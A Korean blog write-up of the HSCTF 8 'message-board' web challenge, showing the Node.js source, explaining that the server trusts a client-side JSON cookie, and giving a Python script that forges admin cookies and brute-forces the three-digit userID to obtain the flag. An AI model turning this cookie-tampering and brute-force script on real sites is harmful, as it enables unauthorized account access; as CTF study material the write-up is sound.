Sechack

HSCTF 8 - message-board 풀이 본문

CTF

HSCTF 8 - message-board 풀이

Sechack 2021. 6. 19. 14:06
반응형

브포날리는데 break안걸어서 맞는거 나오고도 계속 진행되서 결과 안나오는줄 착각하고 조금 삽질한 문제이다.

 

이문제는 소스코드를 준다. Node.js로 만들어진 사이트고 app.js이외에도 css파일이나 package.json같은것들도 같이주는데 별로 안중요하니 app.js만 보겠다.

 

 

const express = require("express")
const cookieParser = require("cookie-parser")
const ejs = require("ejs")
require("dotenv").config()

const app = express()
app.use(express.urlencoded({ extended: true }))
app.use(cookieParser())
app.set("view engine", "ejs")
app.use(express.static("public"))

const users = [
    {
        userID: "972",
        username: "kupatergent",
        password: "gandal"
    },
    {
        userID: "***",
        username: "admin"
    }
]

app.get("/", (req, res) => {
    const admin = users.find(u => u.username === "admin")
    if(req.cookies && req.cookies.userData && req.cookies.userData.userID) {
        const {userID, username} = req.cookies.userData
        if(req.cookies.userData.userID === admin.userID) res.render("home.ejs", {username: username, flag: process.env.FLAG})
        else res.render("home.ejs", {username: username, flag: "no flag for you"})
    } else {
        res.render("unauth.ejs")
    }
})

app.route("/login")
.get((req, res) => {
    if(req.cookies.userData && req.cookies.userData.userID) {
        res.redirect("/")
    } else {
        res.render("login.ejs", {err: false})
    }
})
.post((req, res)=> {
    const request = {
        username: req.body.username,
        password: req.body.password
    }
    const user = users.find(u => (u.username === request.username && u.password === request.password))
    if(user) {
        res.cookie("userData", {userID: user.userID, username: user.username})
        res.redirect("/")
    } else {
        res.render("login", {err: true}) // didn't work!
    }
})

app.get("/logout", (req, res) => {
    res.clearCookie("userData")
    res.redirect("/login")
}) 

app.listen(3000, (err) => {
    if (err) console.log(err);
    else console.log("connected at 3000 :)");
})

 

코드를 보니까 admin으로 로그인하고 userID까지 맞아야만 플래그를 출력한다. 그리고 쿠키를 사용해서 로그인을 하는것을 알 수 있다. 일단 위에 나온 kupatergent계정으로 로그인을 하고 쿠키를 보자.

 

 

쿠키가 url encode되어있어서 디코딩해보면 이렇게 나온다. 저기 kupatergent부분을 admin으로 변조해보자.

 

 

변조하고 보냈더니 admin으로 로그인이 된다. 하지만 flag를 보려면 userID를 알아야한다. 

 

const users = [
    {
        userID: "972",
        username: "kupatergent",
        password: "gandal"
    },
    {
        userID: "***",
        username: "admin"
    }
]

 

하지만 이렇게 ***로 바꾼다음 파일을 줬다. 그래서 userID를 알 수 없다. 하지만 userID는 3자리의 숫자라는것을 추측해볼 수 있다. 즉 001 ~ 999까지의 범위일것이다. 이정도 범위는 brute force를 날려서 알아낼만 하다. 따라서 brute force를 날리는 코드를 작성해보자.

 

import requests

URL = "https://message-board.hsc.tf/"

s = requests.Session()

for i in range(0, 1000):
    cookie = 'j%3A%7B%22userID%22%3A%22'+str(i)+'%22%2C%22username%22%3A%22admin%22%7D'
    sendcookie = {'userData': cookie}
    res = s.get(URL, cookies=sendcookie)

    if "no flag for you" in res.text:
        print(sendcookie)
    else:
        print("success")
        print(res.text)
        break

 

앞에서 말했다시피 처음에는 break을 안걸고 해서 맞아도 계속 brute force가 날아가니까 brute force로 안나와서 조금 삽질했다. 하지만 실수를 깨닫고 고쳤더니 바로 나온다.

 

 

코드를 실행하고 조금 기다리면 결과가 나온다. admin의 userID는 768이었다.

 

 

flag{y4m_y4m_c00k13s}

 

 

(대회 중에 작성한 write up으로 대회가 끝날때까지 보호를 걸어놓았습니다.)

반응형

'CTF' 카테고리의 다른 글

HSCTF 8 - House of Sice 풀이  (0) 2021.06.20
HSCTF 8 - not-really-math 풀이  (0) 2021.06.19
dCTF 2021 - This one is really basic 풀이  (0) 2021.05.17
dCTF 2021 - Julius' ancient script 풀이  (0) 2021.05.17
dCTF 2021 - Formats last theorem 풀이  (0) 2021.05.16
Comments